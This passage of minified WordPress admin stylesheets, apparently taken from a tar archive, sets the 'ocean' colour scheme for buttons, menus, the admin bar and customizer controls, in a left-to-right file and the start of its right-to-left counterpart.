var(--wp-admin-theme-color);border-radius:2px;color:var(--wp-admin-theme-color)}.wp-core-ui .button-secondary:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20)}.wp-core-ui .button-secondary:focus{background:0 0;border-color:var(--wp-admin-theme-color);color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color);outline:1px solid transparent}.wp-core-ui .button-secondary:active{background:rgba(var(--wp-admin-theme-color--rgb),.08);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20);box-shadow:none}.wp-core-ui .button-secondary.disabled,.wp-core-ui .button-secondary:disabled{background:0 0;border-color:#ddd;color:#949494;cursor:not-allowed}.wp-core-ui .button-primary{background:var(--wp-admin-theme-color);border-color:transparent;border-radius:2px;color:#fff}.wp-core-ui .button-primary:hover{background:var(--wp-admin-theme-color-darker-10);border-color:transparent;color:#fff}.wp-core-ui .button-primary:focus{background:var(--wp-admin-theme-color);border-color:transparent;color:#fff;box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color),inset 0 0 0 1px #fff;outline:1px solid transparent}.wp-core-ui .button-primary:active{background:var(--wp-admin-theme-color-darker-20);border-color:transparent;color:#fff}.wp-core-ui .button-primary.disabled,.wp-core-ui .button-primary:disabled{background:#f0f0f0;border-color:transparent;color:#949494;cursor:not-allowed}.wp-core-ui .button-primary.active,.wp-core-ui .button-primary.active:focus,.wp-core-ui .button-primary.active:hover{background:var(--wp-admin-theme-color-darker-10);color:#fff;border-color:transparent;box-shadow:none}.wp-core-ui .button-group>.button.active{border-color:var(--wp-admin-theme-color);background:rgba(var(--wp-admin-theme-color--rgb),.08)}.wp-core-ui .wp-ui-primary{color:#fff;background-color:#738e96}.wp-core-ui .wp-ui-text-primary{color:#738e96}.wp-core-ui .wp-ui-highlight{color:#fff;background-color:#9ebaa0}.wp-core-ui .wp-ui-text-highlight{color:#9ebaa0}.wp-core-ui .wp-ui-notification{color:#fff;background-color:#aa9d88}.wp-core-ui .wp-ui-text-notification{color:#aa9d88}.wp-core-ui .wp-ui-text-icon{color:#f2fcff}.wrap .page-title-action{background:0 0;border:1px solid var(--wp-admin-theme-color);border-radius:2px;color:var(--wp-admin-theme-color)}.wrap .page-title-action:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20)}.wrap .page-title-action:focus{background:0 0;border-color:var(--wp-admin-theme-color);color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color);outline:1px solid transparent}.wrap .page-title-action:active{background:rgba(var(--wp-admin-theme-color--rgb),.08);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20);box-shadow:none}.view-switch a.current:before{color:#738e96}.view-switch a:hover:before{color:#aa9d88}#adminmenu,#adminmenuback,#adminmenuwrap{background:#738e96}#adminmenu a{color:#fff}#adminmenu div.wp-menu-image:before{color:#f2fcff}#adminmenu a:hover,#adminmenu li.menu-top:hover,#adminmenu li.opensub>a.menu-top,#adminmenu li>a.menu-top:focus{color:#fff;background-color:#9ebaa0}#adminmenu li.menu-top:hover div.wp-menu-image:before,#adminmenu li.opensub>a.menu-top div.wp-menu-image:before{color:#fff}.about-wrap .nav-tab-active,.nav-tab-active,.nav-tab-active:hover{background-color:#f0f0f0;border-bottom-color:#f0f0f0}#adminmenu .wp-has-current-submenu .wp-submenu,#adminmenu .wp-has-current-submenu.opensub .wp-submenu,#adminmenu .wp-submenu,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu{background:rgb(98.2714285714,123.5412244898,131.0285714286)}#adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after,#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after{border-right-color:rgb(98.2714285714,123.5412244898,131.0285714286)}#adminmenu .wp-submenu .wp-submenu-head{color:rgb(213,221.1,223.5)}#adminmenu .wp-has-current-submenu .wp-submenu a,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a,#adminmenu .wp-submenu a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a{color:rgb(213,221.1,223.5)}#adminmenu .wp-has-current-submenu .wp-submenu a:focus,#adminmenu .wp-has-current-submenu .wp-submenu a:hover,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover,#adminmenu .wp-submenu a:focus,#adminmenu .wp-submenu a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a:focus,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a:hover{color:#9ebaa0}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a,#adminmenu .wp-submenu li.current a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a{color:#fff}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover,#adminmenu .wp-submenu li.current a:focus,#adminmenu .wp-submenu li.current a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:focus,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:hover{color:#9ebaa0}ul#adminmenu a.wp-has-current-submenu:after,ul#adminmenu>li.current>a.current:after{border-right-color:#f0f0f0}#adminmenu li.current a.menu-top,#adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head,#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu,.folded #adminmenu li.current.menu-top{color:#fff;background:#9ebaa0}#adminmenu a.current:hover div.wp-menu-image:before,#adminmenu li a:focus div.wp-menu-image:before,#adminmenu li.current div.wp-menu-image:before,#adminmenu li.opensub div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before,#adminmenu li:hover div.wp-menu-image:before{color:#fff}#adminmenu .awaiting-mod,#adminmenu .menu-counter,#adminmenu .update-plugins{color:#fff;background:#aa9d88}#adminmenu li a.wp-has-current-submenu .update-plugins,#adminmenu li.current a .awaiting-mod,#adminmenu li.menu-top:hover>a .update-plugins,#adminmenu li:hover a .awaiting-mod{color:#fff;background:rgb(98.2714285714,123.5412244898,131.0285714286)}#collapse-button{color:#f2fcff}#collapse-button:focus,#collapse-button:hover{color:#9ebaa0}#wpadminbar{color:#fff;background:#738e96}#wpadminbar .ab-item,#wpadminbar a.ab-item,#wpadminbar>#wp-toolbar span.ab-label,#wpadminbar>#wp-toolbar span.noticon{color:#fff}#wpadminbar .ab-icon,#wpadminbar .ab-icon:before,#wpadminbar .ab-item:after,#wpadminbar .ab-item:before{color:#f2fcff}#wpadminbar .ab-top-menu>li.menupop.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>li>.ab-item:focus,#wpadminbar.nojs .ab-top-menu>li.menupop:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li>.ab-item:focus{color:#9ebaa0;background:rgb(98.2714285714,123.5412244898,131.0285714286)}#wpadminbar:not(.mobile)>#wp-toolbar a:focus span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li.hover span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li:hover span.ab-label{color:#9ebaa0}#wpadminbar:not(.mobile) li:hover #adminbarsearch:before,#wpadminbar:not(.mobile) li:hover .ab-icon:before,#wpadminbar:not(.mobile) li:hover .ab-item:after,#wpadminbar:not(.mobile) li:hover .ab-item:before{color:#9ebaa0}#wpadminbar .menupop .ab-sub-wrapper{background:rgb(98.2714285714,123.5412244898,131.0285714286)}#wpadminbar .quicklinks .menupop ul.ab-sub-secondary,#wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu{background:rgb(142.7255,154.4890142857,157.9745)}#wpadminbar .ab-submenu .ab-item,#wpadminbar .quicklinks .menupop ul li a,#wpadminbar .quicklinks .menupop.hover ul li a,#wpadminbar.nojs .quicklinks .menupop:hover ul li a{color:rgb(213,221.1,223.5)}#wpadminbar .menupop .menupop>.ab-item:before,#wpadminbar .quicklinks li .blavatar{color:#f2fcff}#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a,#wpadminbar .quicklinks .menupop ul li a:focus,#wpadminbar .quicklinks .menupop ul li a:focus strong,#wpadminbar .quicklinks .menupop ul li a:hover,#wpadminbar .quicklinks .menupop ul li a:hover strong,#wpadminbar .quicklinks .menupop.hover ul li a:focus,#wpadminbar .quicklinks .menupop.hover ul li a:hover,#wpadminbar li #adminbarsearch.adminbar-focused:before,#wpadminbar li .ab-item:focus .ab-icon:before,#wpadminbar li .ab-item:focus:before,#wpadminbar li a:focus .ab-icon:before,#wpadminbar li.hover .ab-icon:before,#wpadminbar li.hover .ab-item:before,#wpadminbar li:hover #adminbarsearch:before,#wpadminbar li:hover .ab-icon:before,#wpadminbar li:hover .ab-item:before,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover{color:#9ebaa0}#wpadminbar .menupop .menupop>.ab-item:hover:before,#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a .blavatar,#wpadminbar .quicklinks li a:focus .blavatar,#wpadminbar .quicklinks li a:hover .blavatar,#wpadminbar.mobile .quicklinks .hover .ab-icon:before,#wpadminbar.mobile .quicklinks .hover .ab-item:before{color:#9ebaa0}#wpadminbar.mobile .quicklinks .ab-icon:before,#wpadminbar.mobile .quicklinks .ab-item:before{color:#f2fcff}#wpadminbar #adminbarsearch:before{color:#f2fcff}#wpadminbar>#wp-toolbar>#wp-admin-bar-top-secondary>#wp-admin-bar-search #adminbarsearch input.adminbar-input:focus{color:#fff;background:rgb(135.4,158.4657142857,165.3)}#wpadminbar #wp-admin-bar-recovery-mode{color:#fff;background-color:#aa9d88}#wpadminbar #wp-admin-bar-recovery-mode .ab-item,#wpadminbar #wp-admin-bar-recovery-mode a.ab-item{color:#fff}#wpadminbar .ab-top-menu>#wp-admin-bar-recovery-mode.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus{color:#fff;background-color:rgb(153,141.3,122.4)}#wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar>a img{border-color:rgb(135.4,158.4657142857,165.3);background-color:rgb(135.4,158.4657142857,165.3)}#wpadminbar #wp-admin-bar-user-info .display-name{color:#fff}#wpadminbar #wp-admin-bar-user-info a:hover .display-name{color:#9ebaa0}#wpadminbar #wp-admin-bar-user-info .username{color:rgb(213,221.1,223.5)}.wp-pointer .wp-pointer-content h3{background-color:#9ebaa0;border-color:rgb(143.0993975904,175.4006024096,145.406626506)}.wp-pointer .wp-pointer-content h3:before{color:#9ebaa0}.wp-pointer.wp-pointer-top .wp-pointer-arrow,.wp-pointer.wp-pointer-top .wp-pointer-arrow-inner,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner{border-bottom-color:#9ebaa0}.media-item .bar,.media-progress-bar div{background-color:#9ebaa0}.details.attachment{box-shadow:inset 0 0 0 3px #fff,inset 0 0 0 7px #9ebaa0}.attachment.details .check{background-color:#9ebaa0;box-shadow:0 0 0 1px #fff,0 0 0 2px #9ebaa0}.media-selection .attachment.selection.details .thumbnail{box-shadow:0 0 0 1px #fff,0 0 0 3px #9ebaa0}.theme-browser .theme.active .theme-name,.theme-browser .theme.add-new-theme a:focus:after,.theme-browser .theme.add-new-theme a:hover:after{background:#9ebaa0}.theme-browser .theme.add-new-theme a:focus span:after,.theme-browser .theme.add-new-theme a:hover span:after{color:#9ebaa0}.theme-filter.current,.theme-section.current{border-bottom-color:#738e96}body.more-filters-opened .more-filters{color:#fff;background-color:#738e96}body.more-filters-opened .more-filters:before{color:#fff}body.more-filters-opened .more-filters:focus,body.more-filters-opened .more-filters:hover{background-color:#9ebaa0;color:#fff}body.more-filters-opened .more-filters:focus:before,body.more-filters-opened .more-filters:hover:before{color:#fff}.widgets-chooser li.widgets-chooser-selected{background-color:#9ebaa0;color:#fff}.widgets-chooser li.widgets-chooser-selected:before,.widgets-chooser li.widgets-chooser-selected:focus:before{color:#fff}.nav-menus-php .item-edit:focus:before{box-shadow:0 0 0 1px rgb(187.8012048193,207.1987951807,189.186746988),0 0 2px 1px #9ebaa0}div#wp-responsive-toggle a:before{color:#f2fcff}.wp-responsive-open div#wp-responsive-toggle a{border-color:transparent;background:#9ebaa0}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a{background:rgb(98.2714285714,123.5412244898,131.0285714286)}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before{color:#f2fcff}.mce-container.mce-menu .mce-menu-item-normal.mce-active,.mce-container.mce-menu .mce-menu-item-preview.mce-active,.mce-container.mce-menu .mce-menu-item.mce-selected,.mce-container.mce-menu .mce-menu-item:focus,.mce-container.mce-menu .mce-menu-item:hover{background:#9ebaa0}.wp-core-ui #customize-controls .control-section .accordion-section-title:focus,.wp-core-ui #customize-controls .control-section .accordion-section-title:hover,.wp-core-ui #customize-controls .control-section.open .accordion-section-title,.wp-core-ui #customize-controls .control-section:hover>.accordion-section-title{color:#0073aa;border-left-color:#9ebaa0}.wp-core-ui .customize-controls-close:focus,.wp-core-ui .customize-controls-close:hover,.wp-core-ui .customize-controls-preview-toggle:focus,.wp-core-ui .customize-controls-preview-toggle:hover{color:#0073aa;border-top-color:#9ebaa0}.wp-core-ui .customize-panel-back:focus,.wp-core-ui .customize-panel-back:hover,.wp-core-ui .customize-section-back:focus,.wp-core-ui .customize-section-back:hover{color:#0073aa;border-left-color:#9ebaa0}.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active,.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus,.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover,.wp-core-ui .active-menu-screen-options .customize-screen-options-toggle,.wp-core-ui .customize-screen-options-toggle:active,.wp-core-ui .customize-screen-options-toggle:focus,.wp-core-ui .customize-screen-options-toggle:hover{color:#0073aa}.wp-core-ui #available-menu-items .item-add:focus:before,.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus:before,.wp-core-ui #customize-save-button-wrapper .save:focus,.wp-core-ui #publish-settings:focus,.wp-core-ui .customize-screen-options-toggle:focus:before,.wp-core-ui .menu-item-bar .item-delete:focus:before,.wp-core-ui.wp-customizer button:focus .toggle-indicator:before{box-shadow:0 0 0 1px rgb(187.8012048193,207.1987951807,189.186746988),0 0 2px 1px #9ebaa0}.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus,.wp-core-ui #customize-controls .customize-info .customize-help-toggle:hover,.wp-core-ui #customize-controls .customize-info.open .customize-help-toggle{color:#0073aa}.wp-core-ui .control-panel-themes .customize-themes-section-title:focus,.wp-core-ui .control-panel-themes .customize-themes-section-title:hover{border-left-color:#9ebaa0;color:#0073aa}.wp-core-ui .control-panel-themes .theme-section .customize-themes-section-title.selected:after{background:#9ebaa0}.wp-core-ui .control-panel-themes .customize-themes-section-title.selected{color:#0073aa}.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:focus:after,.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:hover:after,.wp-core-ui #customize-outer-theme-controls .control-section.open .accordion-section-title:after,.wp-core-ui #customize-outer-theme-controls .control-section:hover>.accordion-section-title:after,.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:focus:after,.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:hover:after,.wp-core-ui #customize-theme-controls .control-section.open .accordion-section-title:after,.wp-core-ui #customize-theme-controls .control-section:hover>.accordion-section-title:after{color:#0073aa}.wp-core-ui .customize-control .attachment-media-view .button-add-media:focus{background-color:#fbfbfc;border-color:#9ebaa0;border-style:solid;box-shadow:0 0 0 1px #9ebaa0;outline:2px solid transparent}.wp-core-ui .wp-full-overlay-footer .devices button.active:hover,.wp-core-ui .wp-full-overlay-footer .devices button:focus{border-bottom-color:#9ebaa0}.wp-core-ui .wp-full-overlay-footer .devices button:focus:before,.wp-core-ui .wp-full-overlay-footer .devices button:hover:before{color:#9ebaa0}.wp-core-ui .wp-full-overlay .collapse-sidebar:focus,.wp-core-ui .wp-full-overlay .collapse-sidebar:hover{color:#9ebaa0}.wp-core-ui .wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow,.wp-core-ui .wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow{box-shadow:0 0 0 1px rgb(187.8012048193,207.1987951807,189.186746988),0 0 2px 1px #9ebaa0}.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:hover,.wp-core-ui.wp-customizer .theme-overlay .theme-header .left:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .left:hover,.wp-core-ui.wp-customizer .theme-overlay .theme-header .right:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .right:hover{border-bottom-color:#9ebaa0;color:#0073aa} css/colors/ocean/colors-rtl.min.css 0000644 00000052336 15233246127 0013334 0 ustar 00 /*! This file is auto-generated */ body{background:#f0f0f0}a{color:#0073aa}a:active,a:focus,a:hover{color:rgb(0,149.5,221)}#post-body #visibility:before,#post-body .misc-pub-post-status:before,#post-body .misc-pub-revisions:before,.curtime #timestamp:before,span.wp-media-buttons-icon:before{color:currentColor}.wp-core-ui .button-link,.wp-core-ui .button.button-link{color:var(--wp-admin-theme-color)}.wp-core-ui .button-link:active,.wp-core-ui .button-link:hover,.wp-core-ui .button.button-link:active,.wp-core-ui .button.button-link:hover{color:var(--wp-admin-theme-color-darker-20)}.wp-core-ui .button-link:focus,.wp-core-ui .button.button-link:focus{color:var(--wp-admin-theme-color);border-radius:2px;box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color);outline:1px solid transparent}.wp-core-ui .button-link:disabled,.wp-core-ui .button-link[aria-disabled=true],.wp-core-ui .button.button-link:disabled,.wp-core-ui .button.button-link[aria-disabled=true]{color:#949494}.media-modal .delete-attachment,.media-modal .trash-attachment,.media-modal .untrash-attachment,.wp-core-ui .button-link-delete{color:#cc1818}.media-modal .delete-attachment:focus,.media-modal .delete-attachment:hover,.media-modal .trash-attachment:focus,.media-modal .trash-attachment:hover,.media-modal .untrash-attachment:focus,.media-modal .untrash-attachment:hover,.wp-core-ui .button-link-delete:focus,.wp-core-ui .button-link-delete:hover{color:rgb(230.6842105263,48.3157894737,48.3157894737)}input[type=checkbox]:checked{background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color)}input[type=radio]:checked{background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color)}.wp-core-ui input[type=reset]:active,.wp-core-ui input[type=reset]:hover{color:rgb(0,149.5,221)}input[type=color]:focus,input[type=date]:focus,input[type=datetime-local]:focus,input[type=datetime]:focus,input[type=email]:focus,input[type=month]:focus,input[type=number]:focus,input[type=password]:focus,input[type=search]:focus,input[type=tel]:focus,input[type=text]:focus,input[type=time]:focus,input[type=url]:focus,input[type=week]:focus,select:focus,textarea:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color)}input[type=checkbox]:focus,input[type=radio]:focus{border-color:#1e1e1e;box-shadow:0 0 0 2px #fff,0 0 0 4px var(--wp-admin-theme-color);outline:2px solid transparent}.wp-core-ui select:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color)}.wp-tags-autocomplete .ui-state-focus,.wp-tags-autocomplete [aria-selected=true]{background-color:var(--wp-admin-theme-color)}#pass1-text:focus,#pass1:focus{box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color)}.mailserver-pass-wrap .button.wp-hide-pw:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color)}.wp-core-ui .button{background:0 0;border:1px solid var(--wp-admin-theme-color);border-radius:2px;color:var(--wp-admin-theme-color)}.wp-core-ui .button:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20)}.wp-core-ui .button:focus{background:0 0;border-color:var(--wp-admin-theme-color);color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color);outline:1px solid transparent}.wp-core-ui .button:active{background:rgba(var(--wp-admin-theme-color--rgb),.08);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20);box-shadow:none}.wp-core-ui .button.disabled,.wp-core-ui .button:disabled{background:0 0;border-color:#ddd;color:#949494;cursor:not-allowed}.wp-core-ui .button-secondary{background:0 0;border:1px solid var(--wp-admin-theme-color);border-radius:2px;color:var(--wp-admin-theme-color)}.wp-core-ui .button-secondary:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20)}.wp-core-ui .button-secondary:focus{background:0 0;border-color:var(--wp-admin-theme-color);color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color);outline:1px solid transparent}.wp-core-ui .button-secondary:active{background:rgba(var(--wp-admin-theme-color--rgb),.08);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20);box-shadow:none}.wp-core-ui .button-secondary.disabled,.wp-core-ui .button-secondary:disabled{background:0 0;border-color:#ddd;color:#949494;cursor:not-allowed}.wp-core-ui .button-primary{background:var(--wp-admin-theme-color);border-color:transparent;border-radius:2px;color:#fff}.wp-core-ui .button-primary:hover{background:var(--wp-admin-theme-color-darker-10);border-color:transparent;color:#fff}.wp-core-ui .button-primary:focus{background:var(--wp-admin-theme-color);border-color:transparent;color:#fff;box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color),inset 0 0 0 1px #fff;outline:1px solid transparent}.wp-core-ui .button-primary:active{background:var(--wp-admin-theme-color-darker-20);border-color:transparent;color:#fff}.wp-core-ui .button-primary.disabled,.wp-core-ui .button-primary:disabled{background:#f0f0f0;border-color:transparent;color:#949494;cursor:not-allowed}.wp-core-ui .button-primary.active,.wp-core-ui .button-primary.active:focus,.wp-core-ui .button-primary.active:hover{background:var(--wp-admin-theme-color-darker-10);color:#fff;border-color:transparent;box-shadow:none}.wp-core-ui .button-group>.button.active{border-color:var(--wp-admin-theme-color);background:rgba(var(--wp-admin-theme-color--rgb),.08)}.wp-core-ui .wp-ui-primary{color:#fff;background-color:#738e96}.wp-core-ui .wp-ui-text-primary{color:#738e96}.wp-core-ui .wp-ui-highlight{color:#fff;background-color:#9ebaa0}.wp-core-ui .wp-ui-text-highlight{color:#9ebaa0}.wp-core-ui .wp-ui-notification{color:#fff;background-color:#aa9d88}.wp-core-ui .wp-ui-text-notification{color:#aa9d88}.wp-core-ui .wp-ui-text-icon{color:#f2fcff}.wrap .page-title-action{background:0 0;border:1px solid var(--wp-admin-theme-color);border-radius:2px;color:var(--wp-admin-theme-color)}.wrap .page-title-action:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20)}.wrap .page-title-action:focus{background:0 0;border-color:var(--wp-admin-theme-color);color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color);outline:1px solid transparent}.wrap .page-title-action:active{background:rgba(var(--wp-admin-theme-color--rgb),.08);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20);box-shadow:none}.view-switch a.current:before{color:#738e96}.view-switch a:hover:before{color:#aa9d88}#adminmenu,#adminmenuback,#adminmenuwrap{background:#738e96}#adminmenu a{color:#fff}#adminmenu div.wp-menu-image:before{color:#f2fcff}#adminmenu a:hover,#adminmenu li.menu-top:hover,#adminmenu li.opensub>a.menu-top,#adminmenu li>a.menu-top:focus{color:#fff;background-color:#9ebaa0}#adminmenu li.menu-top:hover div.wp-menu-image:before,#adminmenu li.opensub>a.menu-top div.wp-menu-image:before{color:#fff}.about-wrap .nav-tab-active,.nav-tab-active,.nav-tab-active:hover{background-color:#f0f0f0;border-bottom-color:#f0f0f0}#adminmenu .wp-has-current-submenu .wp-submenu,#adminmenu .wp-has-current-submenu.opensub .wp-submenu,#adminmenu .wp-submenu,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu{background:rgb(98.2714285714,123.5412244898,131.0285714286)}#adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after,#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after{border-left-color:rgb(98.2714285714,123.5412244898,131.0285714286)}#adminmenu .wp-submenu .wp-submenu-head{color:rgb(213,221.1,223.5)}#adminmenu .wp-has-current-submenu .wp-submenu a,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a,#adminmenu .wp-submenu a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a{color:rgb(213,221.1,223.5)}#adminmenu .wp-has-current-submenu .wp-submenu a:focus,#adminmenu .wp-has-current-submenu .wp-submenu a:hover,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover,#adminmenu .wp-submenu a:focus,#adminmenu .wp-submenu a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a:focus,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a:hover{color:#9ebaa0}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a,#adminmenu .wp-submenu li.current a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a{color:#fff}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover,#adminmenu .wp-submenu li.current a:focus,#adminmenu .wp-submenu li.current a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:focus,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:hover{color:#9ebaa0}ul#adminmenu a.wp-has-current-submenu:after,ul#adminmenu>li.current>a.current:after{border-left-color:#f0f0f0}#adminmenu li.current a.menu-top,#adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head,#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu,.folded #adminmenu li.current.menu-top{color:#fff;background:#9ebaa0}#adminmenu a.current:hover div.wp-menu-image:before,#adminmenu li a:focus div.wp-menu-image:before,#adminmenu li.current div.wp-menu-image:before,#adminmenu li.opensub div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before,#adminmenu li:hover div.wp-menu-image:before{color:#fff}#adminmenu .awaiting-mod,#adminmenu .menu-counter,#adminmenu .update-plugins{color:#fff;background:#aa9d88}#adminmenu li a.wp-has-current-submenu .update-plugins,#adminmenu li.current a .awaiting-mod,#adminmenu li.menu-top:hover>a .update-plugins,#adminmenu li:hover a .awaiting-mod{color:#fff;background:rgb(98.2714285714,123.5412244898,131.0285714286)}#collapse-button{color:#f2fcff}#collapse-button:focus,#collapse-button:hover{color:#9ebaa0}#wpadminbar{color:#fff;background:#738e96}#wpadminbar .ab-item,#wpadminbar a.ab-item,#wpadminbar>#wp-toolbar span.ab-label,#wpadminbar>#wp-toolbar span.noticon{color:#fff}#wpadminbar .ab-icon,#wpadminbar .ab-icon:before,#wpadminbar .ab-item:after,#wpadminbar .ab-item:before{color:#f2fcff}#wpadminbar .ab-top-menu>li.menupop.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>li>.ab-item:focus,#wpadminbar.nojs .ab-top-menu>li.menupop:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li>.ab-item:focus{color:#9ebaa0;background:rgb(98.2714285714,123.5412244898,131.0285714286)}#wpadminbar:not(.mobile)>#wp-toolbar a:focus span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li.hover span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li:hover span.ab-label{color:#9ebaa0}#wpadminbar:not(.mobile) li:hover #adminbarsearch:before,#wpadminbar:not(.mobile) li:hover .ab-icon:before,#wpadminbar:not(.mobile) li:hover .ab-item:after,#wpadminbar:not(.mobile) li:hover .ab-item:before{color:#9ebaa0}#wpadminbar .menupop .ab-sub-wrapper{background:rgb(98.2714285714,123.5412244898,131.0285714286)}#wpadminbar .quicklinks .menupop ul.ab-sub-secondary,#wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu{background:rgb(142.7255,154.4890142857,157.9745)}#wpadminbar .ab-submenu .ab-item,#wpadminbar .quicklinks .menupop ul li a,#wpadminbar 